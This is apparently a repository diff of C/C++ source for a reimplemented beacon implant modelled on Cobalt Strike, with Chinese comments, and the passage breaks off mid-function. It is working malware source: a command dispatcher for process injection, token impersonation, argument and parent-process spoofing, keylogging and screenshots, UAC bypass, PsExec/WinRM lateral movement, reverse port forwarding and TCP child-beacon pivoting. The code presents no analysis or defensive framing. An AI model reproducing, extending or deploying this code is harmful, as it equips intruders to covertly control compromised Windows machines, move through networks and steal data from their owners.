return;
case 55:
GetDrivesList(Taskdata, Task_size); // GetLogicalDrives
return;
case 56:
beacon_rm(Taskdata, Task_size); // rm
return;
case 57:
NamedPipesSendData(Taskdata, Task_size); // 和PsExecPSH
return;
case 59:
ScriptCradle(Taskdata, Task_size); // jump_WinRM
return;
case 60:
StartNamedPipeReceiveData(Taskdata, Task_size);
return;
case 61:
ImpersonationToken();
return;
case 62:
BeaconBackstageJob(1, Taskdata, Task_size, 0);
return;
case 67:
beacon_upload(Taskdata, Task_size, (char*)"ab"); // 上传文件
return;
case 68:
link_Smb_Beacon(Taskdata);
return;
case 69:
beacon_SpawnTo(Taskdata, Task_size, 0); // SpawnTo
return;
case 70:
SpawnProcessInjectionJob(Taskdata, Task_size, 1, 1);
return;
case 71:
SpawnProcessInjectionJob(Taskdata, Task_size, 0, 1);
return;
case 72:
beacon_SetEnv(Taskdata); // SetEnv
return;
case 73:
beacon_copy(Taskdata, Task_size); // cp
return;
case 74:
beacon_Move(Taskdata, Task_size); // Move
return;
case 75:
beacon_PPID(Taskdata, Task_size); // PPID
return;
case 76:
beacon_runu(Taskdata, Task_size); // runu
return;
case 77:
beacon_GetPrivs(Taskdata, Task_size); // GetPrivs
return;
case 78:
BeaconRunCommand(Taskdata, Task_size); // runCommand Run Shell
return;
case 79:
BeaconWebDelivery(Taskdata, Task_size);
return;
case 82:
BeaconTcpPivot(Taskdata, Task_size); // tcppivot 中转监听器 rportfwd port 监听器
return;
case 83:
BeaconSpoofArgsAdd(Taskdata, Task_size); // SpoofArgsAdd 设置进程路径和假命令
return;
case 84:
SpoofArgsRemove(Taskdata, Task_size); // SpoofArgsRemove
return;
case 85:
SpoofArgsList(); // SpoofArgsList 查看参数欺骗
return;
case 86:
connect_tcp_child_Beacon(Taskdata, Task_size);// Connect tcp beacon
return;
case 87:
SpawnProcessInjectionJob(Taskdata, Task_size, 1, 0); // ExecuteAssembly
return;
case 88:
SpawnProcessInjectionJob(Taskdata, Task_size, 0, 0);// ExecuteAssembly
return;
case 89:
BeaconSpawnX86(0, Taskdata, Task_size, 1);
return;
case 90:
BeaconSpawnX86(0, Taskdata, Task_size, 0);
return;
case 91:
BeaconVNCReflectiveDLL(Taskdata, Task_size, 0);
return;
case 92:
beacon_BlockDLLs(Taskdata, Task_size); // BlockDLLs
return;
case 93: // spawnas 93 94
BeaconSpawnas(Taskdata, Task_size, 1); // COMMAND_SPAWNAS_X86
return;
case 94:
BeaconSpawnas(Taskdata, Task_size, 0); // COMMAND_SPAWNAS_X64
return;
case 98: // spawnu 98 99
BeaconSpawnu(Taskdata, Task_size, 1); // COMMAND_SPAWNU_X86
return;
case 99:
BeaconSpawnu(Taskdata, Task_size, 0); // COMMAND_SPAWNU_X64
return;
case 100:
beacon_bof(Taskdata, Task_size); // bof DllLoad,Elevate[BypassUACToken,PsExec],GetSystem,RegQuery,remoteexec,runasadmin,TimeStomp
return;
case 101:
BeaconBackstageJob(0, Taskdata, Task_size, 1);// Printscreen,Screenshot,Screenwatch,keylogger 后渗透任务jobs相关
return;
case 102:
sub_100071B7(Taskdata, Task_size, 0x100007F);// SpawnAndTunnel
return;
default:
return;
}
}
void Parse_Task(BeaconTask* beaconTask, size_t length)
{
if (length)
{
BeaconTask* pbeaconTask = beaconTask;
while (true)
{
int Task_length = ntohl(pbeaconTask->length);
int Task_id = ntohl(pbeaconTask->id);
if ((char*)pbeaconTask + Task_length + 8 >= (char*)beaconTask+ length)
{
Task_handle(pbeaconTask->data, Task_length, Task_id);
break;
}
Task_handle(pbeaconTask->data, Task_length, Task_id);
*(ULONG_PTR*)&pbeaconTask = (ULONG_PTR)((char*)pbeaconTask+Task_length + 8);
}
}
memset(beaconTask, 0, length);
}

View File

@ -0,0 +1,8 @@
#pragma once
#include "Global.h"
void Parse_Task(BeaconTask* beaconTask, size_t length);
int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess);

272
ReBeacon_Src/BeaconX64.cpp Normal file
View File

@ -0,0 +1,272 @@
/*
x64兼容完成但是进程注入部分有几个方法暂未实现
*/
#include "BeaconX64.h"
#include "comm.h"
#include "common.h"
#ifdef _WIN64
//x64注入x86
BOOL sub_180012278(HANDLE hThread, DWORD BaseAddress, DWORD64 lpParameter)
{
if (lpParameter)
{
return 0;
}
WOW64_CONTEXT Context;
Context.ContextFlags = 0x100002;
if (!Wow64GetThreadContext(hThread, &Context))
{
return 0;
}
Context.Eax = BaseAddress;
if (!Wow64SetThreadContext(hThread, &Context))
{
return 0;
}
return ResumeThread(hThread) != -1;
}
//x64注入x64
BOOL sub_1800121EC(HANDLE hThread, DWORD64 BaseAddress, DWORD64 lpParameter)
{
CONTEXT Context;
Context.ContextFlags = 0x100002;
if (!GetThreadContext(hThread, &Context))
{
return 0;
}
Context.Rcx = BaseAddress;
Context.Rdx = lpParameter;
if (!SetThreadContext(hThread, &Context))
{
return 0;
}
return ResumeThread(hThread) != -1;
}
BOOL sub_1800121D8(BeaconProcessInject* pBeaconProcessInject, DWORD64 BaseAddress, DWORD64 lpParameter)
{
HANDLE hThread = pBeaconProcessInject->hThread;
if (pBeaconProcessInject->is_process_arch == 0)
{
return sub_180012278(hThread, BaseAddress, lpParameter);
}
else
{
return sub_1800121EC(hThread, BaseAddress, lpParameter);
}
}
int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS)
{
DWORD flOldProtect;
if (is_process_arch(pInfo->hProcess))
{
BeaconErrorNA(0x40);
return 0;
}
CONTEXT Context;
DWORD64 addr = 0;
UNICODE_STRING CommandLine = { 0 };
Context.ContextFlags = 0x10002;
if (!GetThreadContext(pInfo->hThread, &Context)
|| !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(Context.Rdx + 32), &addr, 8, 0)
|| !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(addr + 112), &CommandLine, sizeof(UNICODE_STRING), 0)
|| !VirtualProtectEx(pInfo->hProcess, (LPVOID)CommandLine.Buffer, CommandLine.MaximumLength, 4, &flOldProtect))
{
BeaconErrorD(0x41, GetLastError());
return 0;
}
char* argc = (char*)malloc(CommandLine.MaximumLength);
memset(argc, 0, CommandLine.MaximumLength);
if (!toWideChar(pBPS->cmd, (LPWSTR)argc, CommandLine.MaximumLength))
{
BeaconErrorNA(0x42);
free(argc);
return 0;
}
SIZE_T NumberOfBytesWritten;
if (!WriteProcessMemory(pInfo->hProcess, (LPVOID)CommandLine.Buffer, argc, CommandLine.MaximumLength, &NumberOfBytesWritten))
{
BeaconErrorD(65, GetLastError());
free(argc);
return 0;
}
return 1;
}
BOOL sub_10004FA1(
int Remote,
HANDLE hProcess,
PVOID BaseAddress,
LPVOID lpParameter,
LPCSTR lpModuleName,
LPCSTR lpProcName,
int offset)
{
HANDLE Thread = NULL;
FARPROC ProcAddress = GetProcAddress(GetModuleHandleA(lpModuleName), lpProcName);
if (!ProcAddress)
{
return 0;
}
if (Remote == 6)
{
Thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, NULL);
}
else
{
if (Remote != 7)
{
return 0;
}
Thread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, 0);
}
if (!Thread)
{
return 0;
}
CONTEXT Context;
Context.ContextFlags = 0x10000B;
if (!GetThreadContext(Thread, &Context))
{
return 0;
}
Context.Rcx = (DWORD64)BaseAddress;
if (!SetThreadContext(Thread, &Context))
{
return 0;
}
return ResumeThread(Thread) != -1;
}
#else
BOOL sub_10005463(BeaconProcessInject* pBeaconProcessInject, char* BaseAddress, LPVOID lpParameter)
{
if (lpParameter)
{
return 0;
}
if (!pBeaconProcessInject->is_system_process)
{
return 0;
}
CONTEXT Context;
Context.ContextFlags = 0x10002;
if (!GetThreadContext(pBeaconProcessInject->hThread, &Context))
{
return 0;
}
Context.Eax = (DWORD)BaseAddress;
return SetThreadContext(pBeaconProcessInject->hThread, &Context)
&& ResumeThread(pBeaconProcessInject->hThread) != -1;
}
int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS)
{
DWORD flOldProtect;
if (is_process_arch(pInfo->hProcess))
{
BeaconErrorNA(0x40);
return 0;
}
CONTEXT Context;
DWORD addr = 0;
UNICODE_STRING CommandLine = { 0 };
Context.ContextFlags = 0x10002;
if (!GetThreadContext(pInfo->hThread, &Context)
|| !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(Context.Ebx + 16), &addr, 4u, 0)
|| !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(addr + 64), &CommandLine, 8, 0)
|| !VirtualProtectEx(pInfo->hProcess, (LPVOID)CommandLine.Buffer, CommandLine.Length, 4, &flOldProtect))
{
BeaconErrorD(0x41, GetLastError());
return 0;
}
char* argc = (char*)malloc(CommandLine.Length);
memset(argc, 0, CommandLine.Length);
if (!toWideChar(pBPS->cmd, (LPWSTR)argc, CommandLine.Length))
{
BeaconErrorNA(0x42);
free(argc);
return 0;
}
SIZE_T NumberOfBytesWritten;
if (!WriteProcessMemory(pInfo->hProcess, (LPVOID)CommandLine.Buffer, argc, CommandLine.Length, &NumberOfBytesWritten))
{
BeaconErrorD(65, GetLastError());
free(argc);
return 0;
}
return 1;
}
BOOL sub_10004FA1(
int Remote,
HANDLE hProcess,
PVOID BaseAddress,
LPVOID lpParameter,
LPCSTR lpModuleName,
LPCSTR lpProcName,
int offset)
{
HANDLE Thread = NULL;
FARPROC ProcAddress = GetProcAddress(GetModuleHandleA(lpModuleName), lpProcName);
if (!ProcAddress)
{
return 0;
}
if (Remote == 6)
{
Thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, NULL);
}
else
{
if (Remote != 7)
{
return 0;
}
Thread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, 0);
}
if (!Thread)
{
return 0;
}
CONTEXT Context;
Context.ContextFlags = 0x10007;
if (!GetThreadContext(Thread, &Context))
{
return 0;
}
Context.Eax = (DWORD)BaseAddress;
if (!SetThreadContext(Thread, &Context))
{
return 0;
}
return ResumeThread(Thread) != -1;
}
#endif // _WIN64

42
ReBeacon_Src/BeaconX64.h Normal file
View File

@ -0,0 +1,42 @@
#pragma once
#include "Global.h"
#ifdef _WIN64
//x64×¢Èëx86
BOOL sub_180012278(HANDLE hThread, DWORD BaseAddress, DWORD64 lpParameter);
//x64×¢Èëx64
BOOL sub_1800121EC(HANDLE hThread, DWORD64 BaseAddress, DWORD64 lpParameter);
BOOL sub_1800121D8(BeaconProcessInject* pBeaconProcessInject, DWORD64 BaseAddress, DWORD64 lpParameter);
int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS);
BOOL sub_10004FA1(
int Remote,
HANDLE hProcess,
PVOID BaseAddress,
LPVOID lpParameter,
LPCSTR lpModuleName,
LPCSTR lpProcName,
int offset);
#else
BOOL sub_10005463(BeaconProcessInject* pBeaconProcessInject, char* BaseAddress, LPVOID lpParameter);
int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS);
BOOL sub_10004FA1(
int Remote,
HANDLE hProcess,
PVOID BaseAddress,
LPVOID lpParameter,
LPCSTR lpModuleName,
LPCSTR lpProcName,
int offset);
#endif // _WIN64

View File

@ -0,0 +1,537 @@
#include "Beaconrportfwd.h"
#include "common.h"
#include "comm.h"
#include <Winsock.h>
#include "ChildBeacon.h"
BeaconRportfwd* gBeaconRportfwd =0;
int sub_1000718A(short port)
{
BeaconRportfwd* pBeaconRportfwd;
for (pBeaconRportfwd = gBeaconRportfwd; pBeaconRportfwd; pBeaconRportfwd = pBeaconRportfwd->Linked)
{
if (pBeaconRportfwd->state && pBeaconRportfwd->field_10 == 2 && pBeaconRportfwd->port == port)
{
return 1;
}
}
return 0;
}
SOCKET BeaconNewSocket(int addr, u_short port, int backlog)
{
sockaddr_in name;
u_long argp = 1;
init_socket_options();
SOCKET s = socket(AF_INET, SOCK_STREAM, NULL);
if (s == -1)
{
return -1;
}
name.sin_family = AF_INET;
name.sin_port = htons(port);
name.sin_addr.S_un.S_addr = addr;
if (ioctlsocket(s, 0x8004667E, &argp) == -1 || bind(s, (sockaddr*)&name, sizeof(sockaddr_in)) == -1 || listen(s, backlog) == -1)
{
closesocket(s);
return -1;
}
return s;
}
int dword_10037E58;
int sub_10006D6B()
{
return (dword_10037E58++ & 0x3FFFFFF) + 0x4000000;
}
void Add_Beacon_Rportfwd(int unknown, SOCKET socket, int a3, int a4, int port, int a6)
{
BeaconRportfwd* pBeaconRportfwd = (BeaconRportfwd*)malloc(sizeof(BeaconRportfwd));
BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd;
pBeaconRportfwd->Linked = gBeaconRportfwd;
pBeaconRportfwd->field_0 = unknown;
pBeaconRportfwd->socket = socket;
pBeaconRportfwd->state = a6;
int TickCount = GetTickCount();
pBeaconRportfwd->field_C_time = 0;
pBeaconRportfwd->field_18 = TickCount;
pBeaconRportfwd->field_8_time = a3;
pBeaconRportfwd->field_10 = a4;
pBeaconRportfwd->port = port;
while (pgBeaconRportfwd)
{
if (pgBeaconRportfwd->field_0 == unknown)
{
pgBeaconRportfwd->state = 0;
}
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
}
gBeaconRportfwd = pBeaconRportfwd;
}
void sub_100071B7(char* Taskdata, int Task_size, int addr)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
short port = BeaconDataShort(&pdatap);
//检查是否已经监听了相关端口
if (!sub_1000718A(port))
{
SOCKET s = BeaconNewSocket(addr, port, 10);
if (s == -1)
{
BeaconErrorD(0x15u, port);
}
else
{
Add_Beacon_Rportfwd(sub_10006D6B(), s, 0, 2, port, 2);
}
}
}
void sub_1000728D(char* Taskdata, int Task_size)
{
BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd;
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
short port = BeaconDataShort(&pdatap);
while (pgBeaconRportfwd)
{
if (pgBeaconRportfwd->state)
{
if (pgBeaconRportfwd->field_10 == 2 && pgBeaconRportfwd->port == port)
{
pgBeaconRportfwd->state = 0;
}
if (pgBeaconRportfwd->field_10 == 3 && pgBeaconRportfwd->port == port)
{
pgBeaconRportfwd->state = 0;
}
}
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
}
}
void sub_10006D81()
{
fd_set writefds;
fd_set exceptfds;
fd_set readfds;
timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 100;
BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd;
if (pgBeaconRportfwd)
{
while (1)
{
if (pgBeaconRportfwd->state != 2)
{
if (!pgBeaconRportfwd->Linked)
{
return;
}
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
continue;
}
int data = htonl(pgBeaconRportfwd->field_0);
writefds.fd_count = 0;
exceptfds.fd_count = 0;
readfds.fd_count = 0;
writefds.fd_array[0] = pgBeaconRportfwd->socket;
writefds.fd_count = 1;
exceptfds.fd_array[0] = pgBeaconRportfwd->socket;
exceptfds.fd_count = 1;
readfds.fd_array[0] = pgBeaconRportfwd->socket;
readfds.fd_count = 1;
select(0, &readfds, &writefds, &exceptfds, &timeout);
if (pgBeaconRportfwd->field_10 == 2)
{
if (__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds))
{
u_long argp = 1;
SOCKET s = accept(pgBeaconRportfwd->socket, 0, 0);
if (ioctlsocket(s, FIONBIO, &argp) == -1)
{
closesocket(s);
return;
}
int unknown = sub_10006D6B();
data = unknown;
Add_Beacon_Rportfwd(unknown, s, 180000, 0, 0, 1);
formatp pformatp;
BeaconFormatAlloc(&pformatp, 0x80u);
BeaconFormatInt(&pformatp, unknown);
BeaconFormatInt(&pformatp, pgBeaconRportfwd->port);
int length = BeaconFormatlength(&pformatp);
char* buffer = BeaconFormatOriginalPtr(&pformatp);
BeaconTaskOutput(buffer, length, 23);
BeaconFormatFree(&pformatp);
}
}
else if (pgBeaconRportfwd->field_10 == 3)
{
if (__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds))
{
SOCKET s = accept(pgBeaconRportfwd->socket, 0, 0);
ChildBeacon pTcpChildBeacon = {0};
InitTcpChildBeacon(s, &pTcpChildBeacon);
int port = pgBeaconRportfwd->port | 0x110000;
AddChildBeacon(
port,
&pTcpChildBeacon,
&pTcpChildBeacon,
pTcpChildBeacon.recvChildBeacon,
pTcpChildBeacon.sendChildBeacon,
pTcpChildBeacon.closeChildBeacon,
pTcpChildBeacon.FlushFileBuffers,
pTcpChildBeacon.checkChildBeacon);
}
}
else
{
if (__WSAFDIsSet(pgBeaconRportfwd->socket, &exceptfds))
{
pgBeaconRportfwd->state = 0;
BeaconTaskOutput((char*)&data, 4, 4);
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
if (__WSAFDIsSet(pgBeaconRportfwd->socket, &writefds))
{
pgBeaconRportfwd->state = 1;
BeaconTaskOutput((char*)&data, 4, 6);
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
if (!__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds))
{
if (GetTickCount() - pgBeaconRportfwd->field_18 <= pgBeaconRportfwd->field_8_time)
{
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
pgBeaconRportfwd->state = 0;
BeaconTaskOutput((char*)&data, 4, 4);
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
SOCKET ss = accept(pgBeaconRportfwd->socket, 0, 0);
pgBeaconRportfwd->socket = ss;
if (ss == -1)
{
pgBeaconRportfwd->state = 0;
BeaconTaskOutput((char*)&data, 4, 4);
}
else
{
pgBeaconRportfwd->state = 1;
BeaconTaskOutput((char*)&data, 4, 6);
}
closesocket(ss);
}
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
}
}
}
int sub_10006981(char* buffer, SOCKET s, int size)
{
if (size <= 0)
{
return 0;
}
int recvsize=0;
while (1)
{
int ret = recv(s, &buffer[recvsize], size - recvsize, 0);
recvsize += ret;
if (ret == -1)
{
break;
}
if (recvsize >= size)
{
return recvsize;
}
}
shutdown(s, 2);
closesocket(s);
return -1;
}
char* precvdata=0;
int sub_1000707E()
{
int n=0;
BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd;
if (!precvdata)
{
precvdata = (char*)malloc(0x100000u);
}
while (pgBeaconRportfwd)
{
if (pgBeaconRportfwd->state != 1)
{
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
continue;
}
*(int*)precvdata = htonl(pgBeaconRportfwd->field_0);
u_long argp = 0;
int ret = ioctlsocket(pgBeaconRportfwd->socket, 0x4004667F, &argp);
if (argp > 0xFFFFC)
{
argp = 0xFFFFC;
}
if (ret == -1)
{
pgBeaconRportfwd->state = 0;
BeaconTaskOutput(precvdata, 4, 4);
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
continue;
}
if (!argp)
{
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
continue;
}
int recvsize = sub_10006981(precvdata + 4, pgBeaconRportfwd->socket, argp);//argp=12
if (recvsize == -1)
{
pgBeaconRportfwd->state = 0;
BeaconTaskOutput(precvdata, 4u, 4u);
}
else if (recvsize == argp)
{
BeaconTaskOutput(precvdata, argp + 4, 5);//
++n;
}
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
}
return n;
}
void sub_10006FF5()
{
BeaconRportfwd* temp=0;
BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd;
if (pgBeaconRportfwd)
{
while (1)
{
if (pgBeaconRportfwd->state)
{
temp = pgBeaconRportfwd;
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
if (!pgBeaconRportfwd->field_C_time)
{
pgBeaconRportfwd->field_C_time = GetTickCount();
temp = pgBeaconRportfwd;
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
if (GetTickCount() - pgBeaconRportfwd->field_C_time <= 0x3E8)
{
temp = pgBeaconRportfwd;
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
if (!pgBeaconRportfwd->field_10)
{
shutdown(pgBeaconRportfwd->socket, 2);
}
if (closesocket(pgBeaconRportfwd->socket) && pgBeaconRportfwd->field_10 == 2)
{
temp = pgBeaconRportfwd;
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
if (!pgBeaconRportfwd)
{
return;
}
continue;
}
if (!temp)
{
gBeaconRportfwd = pgBeaconRportfwd->Linked;
free(pgBeaconRportfwd);
return;
}
temp->Linked = pgBeaconRportfwd->Linked;
free(pgBeaconRportfwd);
pgBeaconRportfwd = temp->Linked;
if (!pgBeaconRportfwd)
{
return;
}
}
}
}
void sub_10006B2B(char* Taskdata,int taskdatasize)
{
int unknown = ntohl(*(u_long*)Taskdata);
int port = ntohs(*(u_short*)(Taskdata+4));
int size = taskdatasize - 6;
if (size >= 1023)
{
size = 1023;
}
char name[1024];
memcpy(name, Taskdata+6, size);
name[size] = 0;
init_socket_options();
SOCKET s = socket(2, 1, 0);
if (s == -1)
{
closesocket(0xFFFFFFFF);
BeaconTaskOutput(Taskdata, 4u, 4u);
return;
}
hostent* host = gethostbyname(name);
if (!host)
{
closesocket(s);
BeaconTaskOutput(Taskdata, 4u, 4u);
return;
}
sockaddr_in addr;
memcpy(&addr.sin_addr, *(const void **)host->h_addr_list, host->h_length);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
u_long argp =1;
if (ioctlsocket(s, 0x8004667E, &argp) == -1
|| connect(s, (sockaddr *)&addr, sizeof(sockaddr_in)) == -1 && WSAGetLastError() != 10035)
{
closesocket(s);
BeaconTaskOutput(Taskdata, 4u, 4u);
return;
}
Add_Beacon_Rportfwd(unknown, s, 30000, 0, 0, 2);
}
void sub_10006C36(BeaconRportfwd* pBeaconRportfwd, char* buf, int len)
{
fd_set writefds;
fd_set exceptfds;
timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 100;
int time = GetTickCount() + 30000;
while (GetTickCount() < time)
{
writefds.fd_array[0] = pBeaconRportfwd->socket;
writefds.fd_count = 1;
exceptfds.fd_array[0] = writefds.fd_array[0];
exceptfds.fd_count = 1;
select(0, 0, &writefds, &exceptfds, &timeout);
if (__WSAFDIsSet(pBeaconRportfwd->socket, &exceptfds))
{
break;
}
if (__WSAFDIsSet(pBeaconRportfwd->socket, &writefds))
{
if (send(pBeaconRportfwd->socket, buf, len, 0) != -1 || WSAGetLastError() != 10035)
{
return;
}
Sleep(0x3E8);
}
}
}
void sub_10006CFC(char* Taskdata, int taskdatasize)
{
BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd;
u_long unknown = ntohl(*(u_long*)Taskdata);
while (pgBeaconRportfwd)
{
if (pgBeaconRportfwd->state == 1 && unknown == pgBeaconRportfwd->field_0)
{
sub_10006C36(pgBeaconRportfwd, Taskdata+4, taskdatasize-4);
}
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
}
}
void sub_10006ACD(char* Taskdata)
{
datap pdatap;
int unknown = BeaconDataInt(&pdatap);
short port = BeaconDataShort(&pdatap);
SOCKET socket = BeaconNewSocket(0, port, 1);
if (socket == -1)
{
BeaconTaskOutput(Taskdata, 4u, 4u);
}
else
{
Add_Beacon_Rportfwd(unknown, socket, 180000, 1, port, 2);
}
}

View File

@ -0,0 +1,40 @@
#pragma once
#include "Utils.h"
#pragma pack(1)
struct BeaconRportfwd
{
int field_0;
int state;
int field_8_time;
int field_C_time;
int field_10;
int port;
int field_18;
SOCKET socket;
BeaconRportfwd* Linked;
};
#pragma pack()
extern BeaconRportfwd* gBeaconRportfwd;
int sub_10006D6B();
void sub_100071B7(char* Taskdata, int Task_size, int addr);
void sub_1000728D(char* Taskdata, int Task_size);
SOCKET BeaconNewSocket(int addr, u_short port, int backlog);
void Add_Beacon_Rportfwd(int unknown, SOCKET socket, int a3, int a4, int port, int a6);
void sub_10006D81();
int sub_1000707E();
void sub_10006FF5();
void sub_10006B2B(char* Taskdata, int taskdatasize);
void sub_10006CFC(char* Taskdata, int taskdatasize);
void sub_10006ACD(char* Taskdata);

View File

@ -0,0 +1,765 @@
#include "ChildBeacon.h"
#include "Beaconrportfwd.h"
//连接的所有子beacon
ChildBeaconInfo gChildBeaconInfo[40] = {0};
int gChildBeaconInfoSize = 40;
void BeaconNull()
{
return;
}
//************************************
// Method: GetChildBeaconMsgHeader
// FullName: GetChildBeaconMsgHeader
// Access: public
// Returns: char*
// Qualifier:获取子beacon (tcp或者smb) 通信消息头
// Parameter: int id
// Parameter: int * out_size
// Parameter: DWORD size
//************************************
char* GetChildBeaconMsgHeader(int id, int* out_size, DWORD size)
{
datap pdatap;
char* frame_header = get_str(id);
BeaconDataParse(&pdatap, frame_header, 128);
int datasize = BeaconDataShort(&pdatap);
char* messagesheader = BeaconDataPtr(&pdatap, datasize);
//Packer packer = new Packer();
//packer.addShort(bytes.length + 4);
//packer.append(bytes);
*(int*)&messagesheader[datasize - 4] = size;
*out_size = datasize;
return messagesheader;
}
/// <summary>
/// recv函数包装
/// </summary>
/// <param name="size"></param>
/// <param name="s"></param>
/// <param name="data"></param>
/// <returns></returns>
int RecvTcpData(int size, SOCKET s, char* data)
{
int number = 0;
if (size <= 0)
{
if (number == size)
{
return size;
}
}
else
{
while (1)
{
int retsize = recv(s, &data[number], size - number, 0);
if (retsize == -1)
{
break;
}
if (retsize)
{
number += retsize;
if (number < size)
{
continue;
}
}
if (number == size)
{
return size;
}
retsize -1;
}
}
return -1;
}
int recvTcpChildBeacon(ChildBeacon* pTcpBeacon, char* pdata, int size)
{
int outsize;
char* data = GetChildBeaconMsgHeader(58, &outsize, 0);
int recvsize = RecvTcpData(outsize, pTcpBeacon->tcp, data);
if (recvsize == -1)
{
return -1;
}
if (recvsize != outsize)
{
return -1;
}
int len = *(DWORD*)&data[outsize - 4];
if (len > size || len < 0)
{
return -1;
}
else
{
return RecvTcpData(len, pTcpBeacon->tcp, pdata);
}
}
/// <summary>
/// send函数包装
/// </summary>
/// <param name="s"></param>
/// <param name="buf"></param>
/// <param name="len"></param>
/// <returns></returns>
BOOL SendTcpData(SOCKET s, char* buf, int len)
{
return !len || send(s, buf, len, 0) != -1;
}
BOOL sendTcpChildBeacon(ChildBeacon* pTcpBeacon, char* buffer, int buffsize)
{
int len;
char* data = GetChildBeaconMsgHeader(58, &len, buffsize);
BOOL ret = SendTcpData(pTcpBeacon->tcp, data, len);
if (ret)
{
return SendTcpData(pTcpBeacon->tcp, buffer, buffsize);
}
return ret;
}
int closeTcpChildBeacon(ChildBeacon* pTcpBeacon)
{
shutdown(pTcpBeacon->tcp, 2);
return closesocket(pTcpBeacon->tcp);
}
int checkTcpChildBeaconTimeout(SOCKET s, int time)
{
int timea = 0;
int timeout = time + GetTickCount();
u_long argp = 1;
if (ioctlsocket(s, FIONBIO, &argp) == -1)
{
return 0;
}
char buf;
while (GetTickCount() < timeout)
{
int recvsize = recv(s, &buf, 1, 2);
if (!recvsize)
{
timea = 0;
break;
}
if (recvsize > 0)
{
timea = 1;
break;
}
if (WSAGetLastError() != 10035)
{
timea = 0;
break;
}
Sleep(0xA);
}
argp = 0;
return ioctlsocket(s, FIONBIO, &argp) != -1 ? timea : 0;
}
int checkTcpChildBeacon(ChildBeacon* pTcpBeacon, int time)
{
return checkTcpChildBeaconTimeout(pTcpBeacon->tcp, time);
}
/// <summary>
/// 初始化tcp子beacon
/// </summary>
/// <param name="conn"></param>
/// <param name="pTcpBeacon"></param>
/// <returns></returns>
ChildBeacon* InitTcpChildBeacon(SOCKET conn, ChildBeacon* pTcpBeacon)
{
u_long argp = 0;
ioctlsocket(conn, FIONBIO, &argp);
pTcpBeacon->FlushFileBuffers = (FlushFileBuffers_ptr)BeaconNull;
pTcpBeacon->null2 = BeaconNull;
pTcpBeacon->tcp = conn;
pTcpBeacon->recvChildBeacon = recvTcpChildBeacon;
pTcpBeacon->sendChildBeacon = sendTcpChildBeacon;
pTcpBeacon->closeChildBeacon = closeTcpChildBeacon;
pTcpBeacon->checkChildBeacon = checkTcpChildBeacon;
return pTcpBeacon;
}
SOCKET ConnectTcp(char* name, u_short port)
{
struct sockaddr address;
SOCKET s = socket(2, 1, 0);
if (s == -1)
{
return -1;
}
hostent* hptr = gethostbyname(name);
if (!hptr)
{
return -1;
}
memcpy(&address.sa_data[2], *(const void**)hptr->h_addr_list, hptr->h_length);
address.sa_family = 2;
*(short*)address.sa_data = htons(port);
if (connect(s, &address, 16))
{
closesocket(s);
return -1;
}
return s;
}
/// <summary>
/// 参数smb和tcp传递的应都是一个ChildBeacon
/// </summary>
/// <param name="port"></param>
/// <param name="smb"></param>
/// <param name="tcp"></param>
/// <param name="recvChildBeacon"></param>
/// <param name="sendChildBeacon"></param>
/// <param name="closeChildBeacon"></param>
/// <param name="BeaconNULL">此参数针对smbFlushFileBuffers</param>
/// <param name="checkChildBeacon"></param>
/// <returns></returns>
int __cdecl AddChildBeacon(
u_long port,
ChildBeacon* smb,
ChildBeacon* tcp,
recvChildBeacon_ptr recvChildBeacon,
sendChildBeacon_ptr sendChildBeacon,
closeChildBeacon_ptr closeChildBeacon,
